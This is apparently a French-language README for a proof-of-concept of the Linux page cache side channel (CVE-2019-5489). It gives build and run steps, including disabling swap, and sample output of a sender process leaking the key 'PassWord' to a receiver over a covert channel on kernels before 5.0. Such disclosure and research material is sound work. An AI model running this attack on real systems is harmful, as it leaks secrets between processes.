
Page Cache Side Channel Attacks (CVE-2019-5489) proof of concept for Linux
Ce dépôt contient une preuve de concept des attaques par canal latéral du cache de pages (CVE-2019-5489) pour Linux.
Afin d'évaluer le canal latéral du cache de pages, j'ai implémenté un canal caché entre deux processus. Le processus émetteur envoie des données confidentielles à un processus récepteur via le canal latéral du cache de pages. Les attaques du cache de pages ont été atténuées dans Linux Kernel 5.0 et versions ultérieures, donc cette PoC ne fonctionnera qu'avant Linux Kernel 5.0.
NOTE : J'ai testé et cela fonctionne sur Ubuntu 18.04, Linux 4.15.0-70.
Exécutez la commande suivante.
git clone https://github.com/mmxsrup/CVE-2019-5489
cd CVE-2019-5489
make
Désactivez l'espace d'échange pour faciliter l'attaque.
swapoff -a
Tout d'abord, exécutez la commande suivante dans le terminal 1.
make run-sender
Une fois que sending 1th character ... s'affiche dans le terminal 1, exécutez la commande suivante.
make run-receiver
Si l'exécution réussit, la sortie suivante sera affichée.
Cela montre que la clé a été envoyée du processus Émetteur au processus Récepteur via le canal latéral du cache de pages.
LD_LIBRARY_PATH=. ./sender
Sender process
ecicting page cache ...
sending 1th character ...
ecicting page cache ...
sending 2th character ...
ecicting page cache ...
sending 3th character ...
ecicting page cache ...
sending 4th character ...
ecicting page cache ...
sending 5th character ...
ecicting page cache ...
sending 6th character ...
ecicting page cache ...
sending 7th character ...
ecicting page cache ...
sending 8th character ...
ecicting page cache ...
sending 9th character ...
LD_LIBRARY_PATH=. ./receiver
Sender process
waiting ...
recved caracter(P)
waiting ...
recved caracter(a)
waiting ...
recved caracter(s)
waiting ...
recved caracter(s)
waiting ...
recved caracter(W)
waiting ...
recved caracter(o)
waiting ...
recved caracter(r)
waiting ...
recved caracter(d)
waiting ...
recved caracter()
Received key: PassWord